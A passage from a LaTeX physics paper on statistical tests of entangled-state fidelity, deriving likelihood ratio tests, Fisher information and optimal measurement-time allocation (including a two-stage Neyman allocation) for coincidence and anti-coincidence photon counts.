\sqrt{x_i(R) y_j(R)^2+ x_j(R) y_i(R)^2 -y_i(R) y_j(R) (x_i(R)+x_j(R))}
}
\end{align}
\end{widetext}
That is, our upper bound of p-value concerning the likelihood ratio tests
is given by
\begin{align}
\displaystyle \Phi(
- \min_{i,j}
z_{i,j}(R(\vec{k}))
).\label{3-7-2}
\end{align}
Next, we approximately calculate the test with the risk probability
$\alpha$ proposed in section\ref{s4d}.
First, we choose $R_\alpha$ by
\begin{align}
- \min_{i,j}z_{i,j}(R_\alpha)= \Phi^{-1}(\alpha).
\end{align}
Then, our test is given by the rejection region ${\cal B}_{R_\alpha}$.
Using the same discussion, the p-value concerning the proposed tests is
equal to
\begin{align}
\displaystyle \Phi(
- \min_{i,j}
z_{i,j}(R'(\vec{k}))).\label{3-7-2-a}
\end{align}
\section{Modification of Visibility}\label{s6}
In the following sections,
we apply the discussions in sections \ref{s3} - \ref{s5}
to the hypothesis (\ref{5-5-2}).
That is, we consider how to reject the null hypothesis
$H_0:F \le F_0$ with a certain risk probability $\alpha$.
In the usual visibility, we usually
measure the coincidence events only in the one direction or two directions.
However, in this method, the number of the counts of coincidence events
be reflected not only by the fidelity but also by the direction of
difference between the true state of target maximally entangled state.
In order to remove the bias based on such a direction,
we propose to measure
the counts of
the coincidence vectors
$|HH\rangle, |VV\rangle, |DD\rangle, |XX\rangle,
|RL\rangle,$ and $|LR\rangle$,
which corresponds to the coincidence events,
and the counts of the anti-coincidence vectors
$|HV\rangle, |VH\rangle, |DX\rangle, |XD\rangle,
|RR\rangle$, and $|LL\rangle$,
which corresponds to the anti-coincidence events.
The former corresponds to the
the minimum values in the usual visibility,
and the later does to
the minimum values in the usual visibility.
In this paper, we call this proposed method the modified visibility method.
Using this method, we can test the fidelity
between the maximally entangled state
$|\Phi^{(+)}\rangle \langle \Phi^{(+)}|$
and the given state $\sigma$, using
the total number of counts of the coincidence events
(the total count on coincidence event)
$n_1$
and
the total number of counts of the anti-coincidence events
(the total count on anti-coincidence events)
$n_2$ obtained by measuring on all the vectors
with the time $\frac{t}{12}$.
When the dark count is negligible,
the total count on coincidence events $n_1$ obeys
Poi$(\lambda\frac{2F+1}{12}t)$,
and the count on total anti-coincidence events $n_2$
obeys the distribution Poi$(\lambda\frac{2-2F}{12}t)$.
These expectation values $\mu_{1}$ and $\mu_{2}$
are given as
$\mu_{1} = \lambda\frac{2F+1}{12}t$ and
$\mu_{2} = \lambda\frac{2-2F}{12}t$.
Hence,
Fisher information matrix concerning the parameters $F$ and $\lambda$
is
\begin{align}
\left(
\begin{array}{cc}
\lambda (\frac{t}{3(2F +1)}+\frac{t}{3(2-2F)})
&0 \\
0&
\frac{\frac{2F +1}{12}t + \frac{2-2F}{12}t}{\lambda}
\end{array}
\right),
\end{align}
where the first element corresponds to the parameter $F$ and
the second one does to the parameter $\lambda$.
Then, we can apply the test $\phi_{\mathop{\rm LR}\nolimits}$
given in the end of subsection \ref{2-7-5}.
That is,
based on the ratio
$\frac{\mu_{2}}{\mu_{1}+\mu_{2}}=\frac{2}{3}(1-F)$,
we estimate the fidelity using
the ratio $\frac{n_2}{n_1+n_2}$ as
$\hat{F}(n_1,n_2)= 1- \frac{3}{2}\frac{n_2}{n_1+n_2}$.
Based on the discussion in subsection \ref{2-7-4},
its variance is asymptotically equal to
\begin{align}
\frac{1}
{\lambda(\frac{t}{3(2F +1)}+\frac{t}{3(2-2F)})}
=
\frac{(2F +1)(2-2F)}{\lambda t}.
\end{align}
Hence,
similarly to the visibility,
we can check the fidelity by using this ratio.
Indeed, when we consider the distribution under the condition
that the total count $n_1+n_2$ is fixed to $n$,
the random variable $n_2$ obeys the binomial distribution with
the average value $\frac{2}{3}(1-F)n$.
Hence, we can apply the likelihood ratio test
of the binomial distribution.
In this case, by the approximation to the normal distribution,
the likelihood ratio test with the risk probability $\alpha$
is almost equal to the test with the rejection region:
$\{(n_1,n_2)|\frac{n_2}{n_1+n_2}\le
\frac{2}{3}(1-F_0)+
\Phi^{-1}(\alpha)\sqrt{\frac{(2-2F_0)(1+2F_0)}{9(n_1+n_2)}}\}$
concerning the null hypothesis
$H_0:F \le F_0$.
The p-value of this kind of tests is
$\Phi(\frac{n_2(2F_{0}+1)- n_1 (2-2F_{0})}
{\sqrt{(n_1+n_2)(2F_{0}+1)(2-2F_{0})}})$.
\section{Design I ($\lambda$: unknown, One Stage)}\label{s7}
In this section, we consider
the problem of testing the fidelity
between the maximally entangled state
$|\Phi^{(+)}\rangle \langle \Phi^{(+)}|$
and the given state $\sigma$
by performing three kinds of measurement,
coincidence, anti-coincidence, and total flux,
with the times $t_1,t_2$ and $t_3$, respectively.
When the dark count is negligible,
the data $(n_1,n_2,n_3)$ obeys
the multinomial Poisson distribution
Poi$(\lambda\frac{2F+1}{6}t_1,\lambda\frac{2-2F}{6}t_2,\lambda t_3)$
with the assumption that the parameter $\lambda$ is unknown.
In this problem, it is natural to assume that
we can select the time allocation
with the constraint for the total time $t_1+t_2+t_3= t$.
The performance of the time allocation
$(t_1,t_2,t_3)$ can evaluated by the variance (\ref{2-16-5}).
The Fisher information matrix concerning the parameters
$F$ and $\lambda$
is
\begin{align}
\left(
\begin{array}{cc}
\lambda (\frac{2 t_1}{3(2F +1)}+\frac{2 t_2}{3(2-2F)})
& \frac{t_1-t_2}{3} \\
\frac{t_1-t_2}{3} &
\frac{\frac{2F +1}{6}t_1 + \frac{2-2F}{6}t_2+t_3}{\lambda}
\end{array}
\right),
\end{align}
where the first element corresponds to the parameter $F$ and
the second one does to the parameter $\lambda$.
Then, the asymptotic variance (\ref{2-16-5}) is calculated as
\begin{align}
\frac{\frac{2F+1}{6}t_1 +\frac{2 -F}{6}t_2 + t_3 }
{\lambda\left(
(\frac{2F+1}{6}t_1 +\frac{2 -F}{6}t_2 + t_3 )
(\frac{2 t_1}{3(2F +1)}+\frac{2 t_2}{3(2-2F)})
- (\frac{t_1-t_2}{3})^2\right)}.\label{2-16-10}
\end{align}
We optimize the time allocation by minimizing the variance (\ref{2-16-10}).
We perform the minimization by maximizing the inverse:
$
\lambda \left(
\frac{2 t_1}{3(2F +1)}+\frac{2 t_2}{3(2-2F)}
- \frac{(\frac{t_1-t_2}{3})^2}
{\frac{2F+1}{6}t_1 +\frac{2-2F}{6}t_2 + t_3 }
\right)$.
Applying Lemmas \ref{2-24-6} and \ref{2-18-6} shown in Appendix \ref{app1}
to the case of
$a= \frac{2}{3(2F +1)}$,
$b=\frac{2}{3(2-2F)}$,
$c=\frac{2F+1}{6}$,
$d= \frac{2-2F}{6}$,
we obtain
\begin{align}
\intertext{(i) }
\lambda \max_{t_1+t_3=t}
\frac{2 t_1}{3(2F +1)}
- \frac{(\frac{t_1}{3})^2}{\frac{2F+1}{6}t_1 + t_3 }
=&
\frac{2\lambda t}{3(2F +1)(1+\sqrt{\frac{2F+1}{6}})^2}
\label{2-19-1}\\
\intertext{(ii) }
\lambda \max_{t_2+t_3=t}
\frac{2 t_2}{3(2-2F)}
-
\frac{(\frac{t_2}{3})^2}
{\frac{2-2F}{6}t_2 + t_3 }
=&
\frac{2 \lambda t}{3(2 -2F)(1+\sqrt{\frac{2-2F}{6}})^2}
\label{2-19-2}
\end{align}
and
\begin{align}
\mbox{(iii) }
&\lambda \max_{t_1+t_2=t}
\frac{2t_1}{3(2F +1)}+\frac{2t_2}{3(2-2F)}
- \frac{(\frac{t_1-t_2}{3})^2}
{\frac{2F+1}{6}t_1 +\frac{2-2F}{6}t_2 }\nonumber \\
=&
\frac{\lambda
(\frac{1}{3}\sqrt{\frac{2-2F}{2F+1}}
+
\frac{1}{3}\sqrt{\frac{2F+1}{2-2F}})^2
t}{
(\sqrt{\frac{2F+1}{6}}+
\sqrt{\frac{2-2F}{6}})^2}\nonumber \\
=&
\frac{6\lambda t}
{(2F+1)(2-2F)(\sqrt{2F+1}+\sqrt{2-2F})^2}.
\label{2-19-3}
\end{align}
Then, these relations
give the optimal
time allocations between
(i) coincidence and total flux measurements,
(ii) anti-coincidence and total flux measurements,
and (iii) coincidence and anti-coincidence measurements, respectively.
The ratio of (\ref{2-19-3}) to (\ref{2-19-1})
is equal to
\begin{align}
\frac{3(\sqrt{6}+\sqrt{2F+1})^2}
{2(2-2F)(\sqrt{2F+1}+\sqrt{2-2F})^2}
>1\label{2-24-7},
\end{align}
as shown in Appendix \ref{2-24-10}.
That is, the optimal
measurement using the coincidence and the anti-coincidence
always
provides
better test than that using the coincidence and the total flux.
Hence, we compare (ii) with (iii), and obtain
\begin{align}
& \max_{t_1+t_2+t_3=t}
\lambda \Bigl(
\frac{2 t_1}{3(2F +1)}+\frac{2 t_2}{3(2-2F)}\nonumber\\
&\quad - \frac{(\frac{t_1-t_2}{3})^2}
{\frac{2F+1}{6}t_1 +\frac{2-2F}{6}t_2 + t_3 }
\Bigr)\nonumber \\
=&
\left\{
\begin{array}{ll}
\frac{4 \lambda t}{(2 -2F)(\sqrt{6}+\sqrt{2-2F})^2}&
\hbox{ if } F_1 < F \le 1\\
\frac{6 \lambda t}{(2F+1)(2-2F)
(\sqrt{2F+1}+\sqrt{2-2F})^2}&
\hbox{ if } 0 \le F \le F_1,
\end{array}
\right. \label{2-24-11}
\end{align}
where the critical point $F_1<1$ is defined by
\begin{align}
\frac{2(2F_1+1)(\sqrt{2F_1+1}+\sqrt{2-2F_1})^2}
{3(\sqrt{6}+\sqrt{2-2F_1})^2}
=1.
\end{align}
The approximated value of the critical point $F_1$ is $0.899519$.
The equation (\ref{2-24-11}) is derived in Appendix \ref{2-24-12}.
Fig. \ref{ratio1} shows
the ratio of the optimal Fisher information
based on the anti-coincidence and total flux measurements
to that based on the coincidence and anti-coincidence measurements.
When $F_1 \le F \le 1$,
the maximum Fisher information is attained by
$t_1=0$, $t_2= \frac{\sqrt{6}}{(\sqrt{6}+\sqrt{2(1-F)})}t$,
$t_3 = \frac{\sqrt{2(1-F)}}{\sqrt{6}+\sqrt{2(1-F)}}t$.
Otherwise,
the maximum is attained by
$t_1= \frac{\sqrt{2-2F}}{\sqrt{2F+1}+\sqrt{2-2F}}t$,
$t_2= \frac{\sqrt{2F+1}}{\sqrt{2F+1}+\sqrt{2-2F}}t$,
$t_3=0$.
The optimal time allocation shown in Fig. \ref{ratio1} implies
that we should measure the counts on the anti-coincidence vectors
preferentially
over other vectors.
\begin{figure}[htbp]
\begin{center}
\includegraphics*[width=8cm]{design1.eps}
\end{center}
\caption{The ratio of the optimal Fisher information (solid line) and the optimal time allocation as a function of the fidelity $F$. The measurement time is divided
into three periods: coincidence $t_{1}$ (plus signs), anti-coincidence $t_{2}$ (circles), and total flux $t_{3}$ (squares), which are normalized as $t_{1}+t_{2}+t_{3}=1$ in the plot.}
\label{ratio1}
\end{figure}
The optimal asymptotic variance is
$\frac{(2F+1)(2-2F)(\sqrt{2-2F}+\sqrt{1+2F})^2}
{6\lambda t}$ when the threshold $F_0$ is less than the critical point
$F_1$.
This asymptotic variance is much better than that obtained
by the modified visibility method.
The ratio of the optimal asymptotic variance is given by
\begin{align}
\frac{(\sqrt{2-2F}+\sqrt{1+2F})^2}{6} <1.
\end{align}
In the following, we give
the optimal test of level $\alpha$ in the hypothesis testing
(\ref{eq:hypo}).
Assume that the threshold $F_0$ is less than the critical point $F_1$.
In this case, we can apply testing of the hypothesis (\ref{eq:hypo-int-2}).
First, we measure the count on the coincidence vectors
for a period of $t_1= \frac{t\sqrt{2-2F_0}}{\sqrt{2F_0+1}+\sqrt{2-2F_0}}$,
to obtain the total count $n_{1}$.
Then, we measure the count on the anti-coincidence
vectors for a period of
$t_2= \frac{t\sqrt{2F_0+1}}{\sqrt{2F_0+1}+\sqrt{2-2F_0}}$
to obtain the total count $n_{2}$.
Note that the optimal time allocation depends on the threshold of our
hypothesis.
Finally, we apply the UMP test of $\alpha$ of
the hypothesis:
\begin{align*}
\begin{array}{ccc}
H_0: p \ge \frac{\sqrt{2-2F_0}}{\sqrt{2-2F_0}+\sqrt{1+2F_0}}
&\hbox{ versus }&
H_1: p < \frac{\sqrt{2-2F_0}}{\sqrt{2-2F_0}+\sqrt{1+2F_0}}
\end{array}
\end{align*}
with the binomial distribution family $P_{p}^{n_1+n_2}$
to the data $n_1$.
In this case,
the likelihood ratio test with the risk probability $\alpha$
is almost equal to the test with the rejection region:
$\{(n_1,n_2)|
\frac{n_2}{n_2+n_1} \le
\frac{\sqrt{2-2F_0}}{\sqrt{2F_0+1}+\sqrt{2-2F_0}}
+ \frac{\Phi^{-1}(\alpha)}{\sqrt{2F_0+1}+\sqrt{2-2F_0}}
\sqrt{\frac{\sqrt{2-2F_0}\sqrt{2F_0+1}}
{n_1+n_2}}\}$
concerning the null hypothesis
$H_0:F \le F_0$.
The p-value of this kind of tests is
$\Phi(
\frac{n_2 \sqrt{2F_{0}+1}- n_1 \sqrt{2-2F_{0}}}
{\sqrt{(n_1+n_2)\sqrt{2F_{0}+1}\sqrt{2-2F_{0}}}})$.
We can apply a similar testing for $F_0 > F_1$.
It is sufficient to replace the time allocation to
$t_1= 0$
$t_2 = \frac{t\sqrt{6}}{\sqrt{6}+\sqrt{2(1-F_0)}}$,
$t_3 = \frac{t\sqrt{2(1-F_0)}}{\sqrt{6}+\sqrt{2(1-F_0)}}$.
In this case,
the likelihood ratio test with the risk probability $\alpha$
is almost equal to the test with the rejection region:
$\{(n_2,n_3)|
\frac{n_2}{n_2+n_3} \le
\frac{\sqrt{1-F_0}}{\sqrt{3}+\sqrt{1-F_0}}
+ \frac{\Phi^{-1}(\alpha)}{\sqrt{3}+\sqrt{1-F_0}}
\sqrt{\frac{\sqrt{1-F_0}\sqrt{3}}
{n_2+n_3}}\}$
concerning the null hypothesis
$H_0:F \le F_0$.
The p-value of this kind of tests is
$\Phi(
\frac{n_2 \sqrt{3} - n_3 \sqrt{1-F_0}}
{\sqrt{(n_2+n_3) \sqrt{1-F_0}\sqrt{3}}})$.
Next, we consider the case where
the dark count parameter $\delta$
is known but is not negligible,
the Fisher information matrix is given by
\begin{widetext}
\begin{align}
\left(
\begin{array}{cc}
\lambda
(\frac{2\lambda t_1}
{3(\lambda (2F +1)+6 \delta)}
+\frac{2\lambda t_2}
{3(\lambda (2-2F) +6 \delta) })
&
\frac{\lambda (2F+1)}{3(\lambda (2F+1)+6 \delta)}t_1
-
\frac{\lambda (2-2F)}{3(\lambda (2-2F)+6 \delta)}t_2\\
\frac{\lambda (2F+1)}{3(\lambda (2F+1)+6 \delta)}t_1
-
\frac{\lambda (2-2F)}{3(\lambda (2-2F)+6 \delta)}t_2&
\frac{2F+1}{\lambda (2F+1)+6 \delta}
\frac{2F +1}{6}t_1
+
\frac{2-2F}{\lambda (2-2F)+6 \delta}
\frac{2-2F}{6}t_2
+\frac{1}{\lambda}t_3
\end{array}
\right).
\end{align}
\end{widetext}
Hence, from (\ref{2-16-5}), the inverse of the minimum variance is
equal to
\begin{align*}
& f(t_1,t_2,t_3)\\
:= &
\lambda
(
\frac{2 \lambda t_1}{3(\lambda (2F +1)+6 \delta)}
+\frac{2 \lambda t_2}{3(\lambda (2-2F) +6 \delta) }\\
&
-\frac{(\frac{\lambda (2F+1)}{3(\lambda (2F+1)+6 \delta)}t_1
-
\frac{\lambda (2-2F)}{3(\lambda (2-2F)+6 \delta)}t_2)^2}
{
\frac{\lambda (2F+1)}{\lambda (2F+1)+6 \delta}
\frac{2F +1}{6}t_1
+
\frac{\lambda (2-2F)}{\lambda (2-2F)+6 \delta}
\frac{2-2F}{6}t_2
+t_3}).
\end{align*}
Then, we apply Lemmas \ref{2-24-6} and \ref{2-18-6} in Appendix \ref{app1} to
$\frac{f(t_1,t_2,t_3)}{\lambda}$
with $a=\frac{2\lambda}{3(\lambda (2F +1)+6 \delta)}$,
$b=\frac{2\lambda}{3(\lambda (2-2F) +6 \delta)}$,
$c=
\frac{\lambda (2F+1)}{\lambda (2F+1)+6 \delta}
\frac{2F +1}{6}$,
$d=\frac{\lambda (2-2F)}{\lambda (2-2F)+6 \delta}
\frac{2-2F}{6}$,
and obtain the optimized value:
\begin{align}
\intertext{(i) coincidence and total flux}
\max_{t_1+t_3=t}f(t_1,0,t_3)
&=
\frac{4\lambda t}{
((2F+1)+
\sqrt{\frac{6(\lambda (2F +1)+6 \delta)}{\lambda}})^2}
\label{2-24-14}
\\
\intertext{(ii) anti-coincidence and total flux}
\max_{t_2+t_3=t}f(0,t_2,t_3)
&=
\frac{4\lambda t}{
((2-2F)+
\sqrt{\frac{6(\lambda (2-2F )+6 \delta)}{\lambda}})^2}
\label{2-24-15}
\end{align}
and
\begin{widetext}
\begin{align}
\intertext{(iii) coincidence and anti-coincidence}
\max_{t_1+t_2=t}f(t_1,t_2,0)
=&
\lambda t
\left(\frac{
\frac{\lambda(2F+1)}
{3\sqrt{(\lambda(2F+1)+6 \delta)(\lambda(2-2F)+6\delta)}
}
+
\frac{\lambda(2-2F)}
{3\sqrt{(\lambda(2F+1)+6 \delta)(\lambda(2-2F)+6\delta)}
}
}
{
(2F+1)\sqrt{\frac{\lambda}{6(\lambda(2F+1)+6\delta)}}
+
(2-2F)\sqrt{\frac{\lambda}{6(\lambda(2-2F)+6\delta)}}
}\right)^2\nonumber \\
=&
\frac{2\lambda^2 t
}{3(\lambda(2F+1)+6 \delta)(\lambda(2-2F)+6\delta)}
\left(\frac{3}
{
\frac{2F+1}{\sqrt{\lambda(2F+1)+6\delta}}
+
\frac{2-2F}{\sqrt{\lambda(2-2F)+6\delta}}
}\right)^2\nonumber \\
=&
\frac{6\lambda^2 t
}{
\left(
(2F+1)
\sqrt{\lambda(2-2F)+6\delta}
+
(2-2F)
\sqrt{\lambda(2F+1)+6\delta}
\right)^2}.\label{2-24-16}
\end{align}
The ratio of (\ref{2-24-14}) to (\ref{2-24-16}) is
\begin{align}
&\frac{3\lambda
\left((2F+1)+
\sqrt{\frac{6(\lambda (2F +1)+6 \delta)}{\lambda}}\right)^2}
{2
\left(
(2F+1)
\sqrt{\lambda(2-2F)+6\delta}
+
(2-2F)
\sqrt{\lambda(2F+1)+6\delta}
\right)^2}\nonumber\\
=&
\frac{3}{2}
\left(
\frac{
(2F+1)\sqrt{\lambda}+
\sqrt{6(\lambda (2F +1)+6 \delta)}
}
{
(2F+1)
\sqrt{\lambda(2-2F)+6\delta}
+
(2-2F)
\sqrt{\lambda(2F+1)+6\delta}
}\right)^2 >1,\label{2-24-1-a}
\end{align}
\end{widetext}
where the final inequality is derived in Appendix \ref{2-24-10}.
Therefore, the measurement using the coincidence and the anti-coincidence provides
better test than that using the coincidence and the total flux,
as in the case of $\delta=0$.
Define $\delta_1$ and the critical point $F_{\delta'}$ for
the normalized dark count
$\delta' = 6 \delta/\lambda < \delta_1$
as
\begin{align*}
\sqrt{\delta_1+3}- \sqrt{\delta_1}&= \sqrt{3/2}\\
\sqrt{1+2F_{\delta'}+{\delta'}}-\sqrt{2-2F_{\delta'}+{\delta'}}
&= \sqrt{3/2}.
\end{align*}
The parameter $\delta_1$ is calculated to be $0.375$.
As shown in Appendix \ref{2-24-12}, the measurement using the coincidence
and the anti-coincidence provides better test than
that using the anti-coincidence and the total flux, if the fidelity is smaller than
the critical point $F_{\delta'}$:
\begin{align}
&\max_{t_1+t_2+t_3=t}f(t_1,t_2,t_3) \nonumber \\
=&
\left\{
\begin{array}{ll}
\frac{4 \lambda^2 t}{
((2-2F)\sqrt{\lambda}+
\sqrt{6(\lambda (2-2F )+6 \delta)})^2}&
\hbox{ if }
F > F_{\delta'} \\
\frac{6\lambda^2 t
}{
\left(
(2F+1)
\sqrt{\lambda(2-2F)+6\delta}
+
(2-2F)
\sqrt{\lambda(2F+1)+6\delta}
\right)^2} & \hbox{ otherwise}.
\end{array}
\right. \label{2-24-3}
\end{align}
The optimal time allocation is given by
$t_1=0$, $t_2=
\frac{t
\sqrt{6(\lambda(2-2F)+6\delta)}
}
{
\sqrt{6(\lambda(2-2F)+6\delta)}
+ (2-2F)\sqrt{\lambda}
}
$, and $t_3
=
\frac{t
(2-2F)\sqrt{\lambda}
}
{
\sqrt{6(\lambda(2-2F)+6\delta)}
+ (2-2F)\sqrt{\lambda}
}
$ for $F > F_{\delta'}$, and
$t_1=
\frac{t
(2-2F)\sqrt{\lambda (2F+1)+6\delta}
}
{
(2-2F)\sqrt{\lambda (2F+1)+6\delta}
+
(2F+1)\sqrt{\lambda (2-2F)+6\delta}
}$,
$t_2=
\frac{t
(2F+1)\sqrt{\lambda (2-2F)+6\delta}
}
{
(2-2F)\sqrt{\lambda (2F+1)+6\delta}
+
(2F+1)\sqrt{\lambda (2-2F)+6\delta}
}$,
$t_3=0$
for $F \le F_{\delta'}$.
The critical point $F_{\delta'}$ for optimal time allocation
increases with the normalized dark count
as illustrated in Fig. \ref{thresh1}.
\begin{figure}[htbp]
\vskip2cm
\begin{center}
\includegraphics*[width=8cm]{critical.eps}
\end{center}
\caption{The critical point $F_{\delta'}$ for optimal time allocation
as a function of normalized dark counts $\delta'$.} \label{thresh1}
\end{figure}
\section{Design II ($\lambda$: known, One Stage)}\label{s8}
In this section, we consider the case where $\lambda$ is known.
Then, the Fisher information is
\begin{align}
\lambda
(
\frac{2\lambda t_1}
{3(\lambda (2F +1)+6 \delta)}
+\frac{2\lambda t_2}{3
(\lambda (2-2F) +6 \delta) }
).\label{2-24-1}
\end{align}
The maximum value is calculated as
\begin{align}
\max_{t_1+t_2+t_3=t}(\ref{2-24-1})
=
\left\{
\begin{array}{ll}
\frac{2\lambda^2 t}
{3(\lambda (2F +1)+6 \delta)}
& \hbox { if } F < \frac{1}{4} \\
\frac{2\lambda^2 t}{3
(\lambda (2-2F) +6 \delta) }
& \hbox { if } F \ge \frac{1}{4} .
\end{array}
\right.
\end{align}
The above optimization shows that when $F \ge \frac{1}{4} $,
the count on anti-coincidence
$(t_1 = 0;t_2 =t;t_3=0)$ is better than
the count on coincidence
$(t_1 = t;t_2 = 0;t_3=0)$.
In fact, Barbieri {\it et al.}\cite{BMNMDM03}
measured the sum of
the counts on the anti-coincidence vectors
$|HV\rangle, |VH\rangle, |DX\rangle, |XD\rangle, |RR\rangle, |LL\rangle$
to realize the entanglement witness in their experiment.
In this case, the variance is
$\frac{3(\lambda (2-2F) +6 \delta) }{2\lambda^2 t}$.
When we observe the sum of counts on anti-coincidence $n_2$,
the estimated value of $F$ is given by
$1+3(\delta-\frac{n_2}{\lambda t}) $,
which is the solution of
$(\lambda \frac{2-2F}{6}+ \delta)t= n_2 $.
The likelihood ratio test with the risk probability $\alpha$
can be approximated by the test with the rejection region:
$\{n_2|n_2 \le
(\frac{\lambda (1-F_0)}{3}+\delta)t
+ \Phi^{-1}(\alpha)
\sqrt{
(\frac{\lambda (1-F_0)}{3}+\delta)t
}\}$
concerning the null hypothesis
$H_0:F \le F_0$,
which is also the UMP test.
The p-value of likelihood ratio tests
is
$\Phi(\frac{n_2- (\frac{\lambda (1-F_0)}{3}+\delta)t
}{\sqrt{(\frac{\lambda (1-F_0)}{3}+\delta)t}})$.
When $F < \frac{1}{4}$,
the optimal time allocation is
$t_1=t$, $t_2=t_3=0$.
The fidelity is estimated by $\frac{3 n_2}{\lambda t}-\frac{1}{2}$.
Its variance is
$\frac{3(\lambda (2F +1)+6 \delta)}{2\lambda^2 t}$.
The likelihood ratio test with the risk probability $\alpha$
of the Poisson distribution
is almost equal to the test with the rejection region:
$\{n_1|n_1\ge
(\lambda \frac{1+2F_0}{6}+\delta)t
+ \Phi^{-1}(1-\alpha)
\sqrt{
(\lambda \frac{1+2F_0}{6}+\delta)t
}\}$
concerning the null hypothesis
$H_0:F \le F_0$,
which is also the UMP test.
The p-value of likelihood ratio tests is
$\Phi(
\frac{-n_1+(\lambda \frac{1+2F_0}{6}+\delta)t}
{\sqrt{(\lambda \frac{1+2F_0}{6}+\delta)t}})$.
\section{Comparison of the asymptotic variances}\label{s9}
We compare the asymptotic variances
of the following designs for time allocation, when the dark count $\delta$ parameter is zero.
\begin{description}
\item[(i)]
Modified visibility:
The asymptotic variance is
$\frac{(2F +1)(2-2F)}{\lambda t}$.
\item[(iia)]
Design I ($\lambda$ unknown). optimal time allocation between
the counts on anti-coincidence
and coincidence:
The asymptotic variance is $\frac{(2F+1)(2-2F)
(\sqrt{2F+1}+\sqrt{2-2F})^2}{6 \lambda t}$.
\item[(iib)]
Design I ($\lambda$ unknown), optimal time allocation between
the counts on anti-coincidence and the total flux:
The asymptotic variance is $\frac{(2 -2F)(\sqrt{6}+\sqrt{2-2F})^2}{4 \lambda t}$.
\item[(iiia)]
Design II ($\lambda$ known), estimation from the count on anti-coincidence:
The asymptotic variance is $\frac{3(2-2F )}{2\lambda t}$.
\item[(iiib)]
Design II ($\lambda$ known), estimation from the count on coincidence:
The asymptotic variance is $\frac{3(2F +1)}{2\lambda t}$.
\end{description}
Fig. \ref{fig:relent9} shows the comparison, where the asymptotic variances
in (iia)-(iiib) are normalized by the one in (i). The anti-coincidence
measurement provides the best estimation for high ($F>0.25$) fidelity.
When $\lambda$ is unknown, the measurement with the counts on anti-coincidence
and the coincidence is better than that with the counts
anti-coincidence and the total flux for $F < 0.899519$.
For higher fidelity, the counts on anti-coincidence
and total flux turns to be better, but the difference is small.
\begin{figure}[htbp]
\vskip2cm
\begin{center}
\includegraphics*[width=8cm]{compare3.eps}
\end{center}
\caption{
Comparison of the designs for time allocation. The asymptotic variances
normalized by the value of modified visibility method are shown as a function of fidelity,
where dots: (iia), solid: (iib), thick: (iiia), and dash: (iiib).
}
\label{fig:relent9}
\end{figure}
\section{Design III ($\lambda$: known, Two Stage)}\label{s10}
\subsection{Optimal Allocation}
The comparison in the previous section shows
that the measurement on the anti-coincidence vectors
yields a better variance than
the measurement on the coincidence vectors,
when the fidelity is greater than $1/4$
and the parameters $\lambda$ and $\delta$ are known.
We will explore further improvement in the measurement on
the anti-coincidence vectors.
In the previous sections,
we allocate an equal time to the measurement on each of
the anti-coincidence vectors.
Here we minimize the variance by optimizing the time allocation
$t_{HV}$, $t_{VH}$, $t_{DX}$, $t_{XD}$, $t_{RR}$, and $t_{LL}$ between the
anti-coincidence vectors
$B=\{|HV\rangle$, $|VH\rangle$, $|DX\rangle$, $|XD\rangle$,
$|RR\rangle$, and $|LL\rangle\}$,
under the restriction of the total measurement time:
$\sum_{(x,y)\in B} t_{x,y}=t$.
The number of the counts $n_{xy}$ obeys Poisson distribution
Poi($(\lambda \mu_{xy}+\delta)t_{xy}$) with unknown parameter $\mu_{xy}$.
Then, the Fisher information matrix is
the diagonal matrix with the diagonal elements
$\{\frac{\lambda^2 t_{x,y}}{\lambda\mu_{x,y}+\delta}\}_{(x,y)\in B}$
Since we are interested in the parameter
$1-F=
\frac{1}{2}(\sum_{(x,y)\in B}
\mu_{x,y})$,
the variance is given by
\begin{align}
\frac{1}{4}
\Bigl(\sum_{(x,y)\in B}
\frac{\lambda\mu_{x,y}+\delta}{\lambda^2 t_{x,y}}
\Bigr), \label{2-24-30}
\end{align}
as mentioned in section \ref{2-7-4}.
Under the restriction of the total measurement time,
the minimum value of (\ref{2-24-30}) is
\begin{align}
\frac{(
\sum_{(x,y)\in B}
\sqrt{\lambda\mu_{x,y}+\delta}
)^2}{4 \lambda^2 t},\label{2-25-11}
\end{align}
which is attained by the optimal time allocation
\begin{align}
t_{x y}=
\frac
{(\lambda\sqrt{\mu_{x y}}+\delta)t}
{
\sum_{(x',y')\in B} \sqrt{\lambda\mu_{x',y'}+\delta}
},
\end{align}
which is called Neyman allocation and is used in sampling design\cite{Cochran}.
The variance with the equal allocation is
\begin{align}
\frac{3(\lambda (2-2F) +6 \delta) }{2\lambda^2 t}
=
\frac{3(\lambda (
\sum_{(x,y)\in B}
\mu_{x,y}
) +6 \delta) }{2\lambda^2 t}. \label{2-25-10}
\end{align}
The inequality (\ref{2-25-11}) $\le$ (\ref{2-25-10})
can be derived from Schwartz's inequality of the vectors
$(1,\ldots,1)$ and
$(\sqrt{\lambda\mu_{HV}+\delta},
\ldots, \sqrt{\lambda\mu_{LL}+\delta})$.
The equality holds if and only if
$\mu_{HV}=\mu_{VH}=\mu_{DX}=\mu_{XD}=\mu_{RR}=\mu_{LL}$.
Therefore, the Neyman allocation has an advantage over the equal allocation,
when there is a bias in the parameters
$\mu_{HV},\mu_{VH},\mu_{DX},\mu_{XD},\mu_{RR},\mu_{LL}$.
In other words, the Neyman allocation is effective
when the expectation values of the counts on some vectors
are larger than
those on other vectors.
\subsection{Two-stage Method}
The optimal time allocation derived above
is not applicable in the experiment, because it depends on the unknown parameters
$\mu_{HV},$ $\mu_{VH},$ $\mu_{DX},$ $\mu_{XD},$ $\mu_{RR},$ and $\mu_{LL}$.
In order to resolve this problem,
we introduce a two-stage method, where
the total measurement time $t$ is divided into
$t_f$ for the first stage and
$t_s$ for the second stage under the condition of $t=t_f+t_s$.
In the first stage,
we measure the counts on each vectors for $t_f/6$ and
estimate the expectation value for Neyman allocation on measurement time $t_s$.
In the second stage,
we measure the counts on a vector $\ket{x_A y_B}$ according to
the estimated Neyman allocation.
The two-stage method is formulated as follows.
\smallskip\\
(i) The measurement time for each vector
in the first stage is given by
$t_f/6$
\\
(ii)
In the second stage,
we measure the counts on a vector $\ket{x_A y_B}$
with the measurement time $\tilde t_{x y}$
defined as
\[
\tilde t_{x y}=
\frac
{m_{x y}}
{\sum_{(x,y)\in B}\sqrt{m_{x y}}}
(t-t_f)
\]
where
$m_{x y}$ is the observed count in the first stage.
\\
(iii)
Define $\hat\mu_{x y}$ and $\hatF$ as
\begin{align*}
\hat{\mu}_{x y}=
\frac{n_{x y}}{\lambda\tilde t_{x y}},
\quad \hatF=
1-\frac12\sum_{(x,y)\in B}\hat{\mu}_{x,y},
\end{align*}
where
